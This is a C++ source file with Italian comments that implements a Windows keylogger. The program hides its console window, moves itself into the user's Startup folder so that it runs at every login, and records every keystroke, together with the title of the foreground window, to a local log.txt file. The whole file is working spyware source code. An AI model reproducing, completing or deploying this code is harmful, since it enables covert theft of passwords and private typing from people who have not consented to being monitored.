#include <iostream>
#include <windows.h>
#include <cstring>
#include <fstream>
using namespace std;
void logga(char stringa[500]);
void logga(char carattere); // OVERLOAD
void nasc_sposta(char *dir_destinazione);
char *GetEsecAutoDir();
ofstream log; //File di LOG
char *destinazioneLog; // Destinazione file di log
int main()
{
nasc_sposta(GetEsecAutoDir());
int i;
HWND finestra_corrente;
char titolo_finestra[255], attuale[255];
while(1)
{
Sleep(10); // Per non usare tutta la CPU
finestra_corrente = GetForegroundWindow();
GetWindowText(finestra_corrente, titolo_finestra, 254);
if(strcmp(titolo_finestra, attuale)!= 0)
{
logga("\n");
logga(titolo_finestra);
logga("\n");
}
strcpy(attuale, titolo_finestra);
// ========================= Titolo Finestra ================
if(GetAsyncKeyState(VK_SHIFT)) // ====================== I caratteri che cambiano con lo SHIFT
{
for(i = 65; i<= 90; i++)
{
if(GetAsyncKeyState(i)== -32767) logga(i);
}
for(i = 48; i <= 57; i++) // caratteri =!"£$%&/()
{
if(GetAsyncKeyState(i) == -32767)
{
if(i==48) logga(61);
if(i==51) logga(163);
if(i==55) logga(47);
else logga(i-16);
}
}
if( GetAsyncKeyState(220) == -32767) logga('|');
if( GetAsyncKeyState(188) == -32767) logga(';');
if( GetAsyncKeyState(190) == -32767) logga(':');
if( GetAsyncKeyState(189) == -32767) logga('_');
if( GetAsyncKeyState(186) == -32767) logga('é');
if( GetAsyncKeyState(187) == -32767) logga('*');
if( GetAsyncKeyState(192) == -32767) logga('ç');
if( GetAsyncKeyState(222) == -32767) logga('°');
if( GetAsyncKeyState(191) == -32767) logga('§');
if( GetAsyncKeyState(219) == -32767) logga('?');
if( GetAsyncKeyState(221) == -32767) logga('^');
if( GetAsyncKeyState(226) == -32767) logga('>');
}
else // ========================== se SHIFT non è premuto
{
for (i = 65; i <= 90; i++)
{
if (GetAsyncKeyState(i) == -32767) logga(i+32);
}
for(i = 48; i <= 57; i++) // numeri
{
if(GetAsyncKeyState(i) == -32767) logga(i);
}
if( GetAsyncKeyState(220) == -32767) logga('\\');
if( GetAsyncKeyState(188) == -32767) logga(',');
if( GetAsyncKeyState(190) == -32767) logga('.');
if( GetAsyncKeyState(189) == -32767) logga('-');
if( GetAsyncKeyState(186) == -32767) logga('è');
if( GetAsyncKeyState(187) == -32767) logga('+');
if( GetAsyncKeyState(192) == -32767) logga('ò');
if( GetAsyncKeyState(222) == -32767) logga('à');
if( GetAsyncKeyState(191) == -32767) logga('ù');
if( GetAsyncKeyState(219) == -32767) logga('\'');
if( GetAsyncKeyState(221) == -32767) logga('ì');
if( GetAsyncKeyState(226) == -32767) logga('<');
if(GetAsyncKeyState(111) == -32767) logga('/');
if(GetAsyncKeyState(106) == -32767) logga('*');
if(GetAsyncKeyState(109) == -32767) logga('-');
if(GetAsyncKeyState(107) == -32767) logga('+');
if(GetAsyncKeyState(110) == -32767) logga('.');
if(GetAsyncKeyState(VK_CAPITAL) == -32767) logga("<CPSLCK>");
if(GetAsyncKeyState(VK_BACK) == -32767) logga("<BK>");
if(GetAsyncKeyState(VK_DELETE) == -32767) logga("<DEL>");
if(GetAsyncKeyState(VK_ESCAPE) == -32767) logga("<ESC>");
if(GetAsyncKeyState(VK_HOME) == -32767) logga("<HOME>");
if(GetAsyncKeyState(VK_END) == -32767) logga("<END>");
if(GetAsyncKeyState(VK_INSERT) == -32767) logga("<INS>");
if(GetAsyncKeyState(VK_TAB) == -32767) logga("<TAB>");
if(GetAsyncKeyState(VK_LEFT) == -32767) logga("<LEFT>");
if(GetAsyncKeyState(VK_RIGHT) == -32767) logga("<RIGHT>");
if(GetAsyncKeyState(VK_UP) == -32767) logga("<UP>");
if(GetAsyncKeyState(VK_DOWN) == -32767) logga("<DOWN>");
if(GetAsyncKeyState(VK_SPACE) == -32767) logga((char)' ');
if(GetAsyncKeyState(VK_RETURN) == -32767) logga('\n');
}
}
return 0;
}
void nasc_sposta(char *dir_destinazione)
{
HWND invisibile;
invisibile = FindWindow("ConsoleWindowClass", NULL); //Valore finestra keylogger
ShowWindow(invisibile, SW_HIDE); //Nascondo finestra
MoveFile("key.exe", dir_destinazione); // Sposto in esecuzione automatica
}
char *GetEsecAutoDir()
{
char disco[255], utente[255], *user_path;
DWORD *a;
user_path = new char[255]; // Alloccazione dinamica
a = new DWORD[255]; // Come sopra
GetSystemDirectory(disco, 254); // Prendo disco rigido in uso
destinazioneLog = new char[255]; //destinazioneLog = disco; strcat(destinazioneLog, "\\key.log"); // Lo copio in variabile Globale
GetUserName(utente, a); // Prendo Nome Utente
strncpy(user_path, disco, 3); //
strcat(user_path, "Documents and Settings\\");
strcat(user_path, utente);// destinazioneLog = user_path; strcat(destinazioneLog, "\\logged.txt"); // cout << destinazioneLog; cin.get();
strcat(user_path, "\\Menu Avvio\\Programmi\\Esecuzione automatica\\key.exe");
return user_path; // Ritorno il cpleto valore per copiare il file in esecuzione auto
}
void logga(char carattere) // Loggo caratteri
{
log.open("log.txt", ios::app);
log << carattere;
log.close();
}
void logga(char stringa[500]) // Loggo caratteri speciali sotto forma di stringhe
{
log.open("log.txt", ios::app);
log << stringa;
log.close();
}